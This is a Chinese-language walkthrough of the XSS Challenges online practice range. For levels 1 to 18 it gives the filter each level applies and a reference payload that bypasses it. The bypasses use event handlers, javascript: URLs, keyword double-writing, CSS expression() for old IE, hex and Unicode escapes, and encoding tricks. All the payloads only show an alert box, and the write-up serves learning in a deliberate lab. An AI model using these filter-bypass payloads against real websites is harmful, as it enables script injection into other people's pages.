一、在线靶场
XSS Challenges,https://xss-quiz.int21h.jp/
二、实战
ps:需要注意的是alert里面必须要弹document.domain
level1:无任何过滤,参考payload为:<script>alert(document.domain)</script>
level2:查看源代码,发现只需要闭合引号即可,参考payload为:"><script>alert(document.domain)</script>
level3:查看源代码,发现搜索框并没有传参,在下拉列表框发现p2参数,直接在下拉列表框插入payload,payload为:"><script>alert(document.domain)</script>
level4:观察跟上题一样,但是f12看到有一个隐藏输入框,把它改为text可见,然后插入攻击代码,payload为:"><script>alert(document.domain)</script>
level5:此题考查前端长度限制,f12查看代码发现有长度限制,直接修改为50以上即可,payload为:"><script>alert(document.domain)</script>
level6:此题考查符号转义后的绕过,打开f12发现没有什么可以利用的,然后随便插入一个payload提交,查看源代码,发现<>都被转义了,那么我们可以使用事件进行绕过,payload为:" onmouseover=alert(document.domain) >
level7:和level6差不多,payload:" onmouseover=alert(document.domain)
level8:伪协议,随便插入一个攻击代码查看源代码,发现都被过滤了,并且下面还出现了url,那么肯定伪协议没跑了,payload为:javascript:alert(document.domain)
level9:此题用的utf-7编码,没环境,参考payload为:" onmouseover=alert(document.domain)
直接用firebug过的
level10:此题过滤domain关键字,考虑用双写或者大小写绕过,然而这里只能用双写绕过,参考payload为:"><script>alert(document.dodomainmain)</script>
level11:此题考查过滤关键词的绕过,此题吧script换成了scrixxx,onmouserover换成onxxx,可以利用a标签绕过,需要注意的是用tab制表(%09)换行,参考payload为:"><a href=javascri	pt:alert(document.domain)>test</a>
level12:过滤了<>和"和’,试试编码能不能绕过,发现并不能绕过,百度查看wp发现还有符号可以绕过,但是必须在ie浏览器,没有环境,故用firebug过,参考pyaload为"onmouseover=alert(document.domain)
level13:不会,百度大佬wp:转义了<>和",F12发现和level12多了一个style属性,那么肯定是style下手了,但是不怎么会,百度一下搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码),同样只能在ie中复现,参考payload为: aa:expression(onmouseover=function(){alert(document.domain)})或background-color:#f00;background:url("javascript:alert(document.domain);");
level14:不会,百度大佬wp,这里过滤了expression,url,eval,script,但是通过加入注释符可绕过,参考payload为here:expre/**/ssion(onmouseover=function(){alert(document.domain)})
level15:转义<>,",也转义了&,过滤了\,这里可以用16进制或者Unicode编码绕过,参考payload为:\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e或\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
level16:和上题一样,只是16进制不能用了,参考payload为:\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
level17:不会,百度大佬wp,类似于sql注入的宽字节注入,用%A7(%几都行,只要符合下面大佬WP中可以用来欺骗的编码)加上双引号的%34?让html自解码机制误认为这是宽字节字符,从而弄掉双引号。
level18:不会,百度大佬wp,将每个字符的二进制最高位置为1,然后再转为16进制,故"><script>alert(document.domain)</scirpt>
就转换为%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE 但是前提还是用旧的IE版本IE5,6
三、总结
此靶场12题以后都是一些不常见的xss,需要仔细判断。一些题目需要老板ie才能复现。自己还是太菜,后面都不会。